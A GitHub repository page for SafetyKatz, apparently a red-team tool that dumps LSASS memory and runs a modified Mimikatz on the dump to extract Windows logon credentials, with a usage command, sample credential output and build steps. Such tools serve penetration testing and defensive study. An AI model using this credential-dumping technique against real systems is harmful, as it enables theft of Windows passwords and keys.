



GhostPack / SafetyKatz Public

Notifications

Fork **243**

Star **1.2k**

Code

Issues **4**

Pull requests

Actions

Projects

Security

Insights

master ▾

Go to file

Code ▾

About

	SafetyKatz	
	.gitignore	
	LICENSE	
	README.md	
	SafetyKatz.sln	

README

License

SafetyKatz

SafetyKatz is a combination of slightly modified version of [@gentilkiwi's Mimikatz](#) project and [@subtee's .NET PE Loader](#).

First, the [MiniDumpWriteDump](#) Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee's PELoader is used to load a customized version of Mimikatz that runs **sekurlsa::logonpasswords** and **sekurlsa::ekeys** on the minidump file, removing the file after execution is complete.

Readme

View license

Activity

Custom properties

1.2k stars

54 watching

243 forks

Report repository

Releases

No releases published

Packages

No packages published

Modifications

- @subtee's PE Loader was slightly modified so some of the pointer arithmetic worked better on .NET 3.5
- @gentilkiwi's Mimikatz project was modified to strip some functionality for size reasons, and to automatically run the sekurlsa::minidump mode (deleting the minidump file after). If you don't trust my compiled version, feel free to build it yourself :)

[@harmj0y](#) is the primary author of this port.

SafetyKatz is licensed under the BSD 3-Clause license.

Usage

```
C:\Temp>SafetyKatz.exe
```



```
[*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin
[+] Dump successful!
```

```
[*] Executing loaded Mimikatz PE
```

```
.#####.  mimikatz 2.1.1 (x64) built on Jul  7 :
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  / *** Benjamin DELPY `gentilkiwi` ( l
## \ / ##   > http://blog.gentilkiwi.com/mi
'## v ##'   Vincent LE TOUX           ( v:
'#####'   > http://pingcastle.com / http://
```

```
mimikatz # Opening : 'C:\Windows\Temp\debug.bin'
```

```
Authentication Id : 0 ; 28935082 (00000000:01b9:
Session           : Interactive from 0
User Name         : blahuser
Domain            : WINDOWS10
Logon Server      : WINDOWS10
Logon Time        : 7/15/2018 1:07:55 PM
SID               : S-1-5-21-1473254003-2681465:
```

```
msv :
```

```
[00000003]
```

```
Primary
```

```
* Username : blahuser
```

Contributors 2



HarmJ0y Will Schroeder



cnotin Clément Notin

Languages

● C# 100.0%

```
* Domain      : WINDOWS10
```

```
...(snip)...
```

```
mimikatz # deleting C:\Windows\Temp\debug.bin
```

Compile Instructions

We are not planning on releasing binaries for SafetyKatz, so you will have to compile yourself :)

SafetyKatz has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](#). Simply open up the project .sln, choose "release", and build.

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.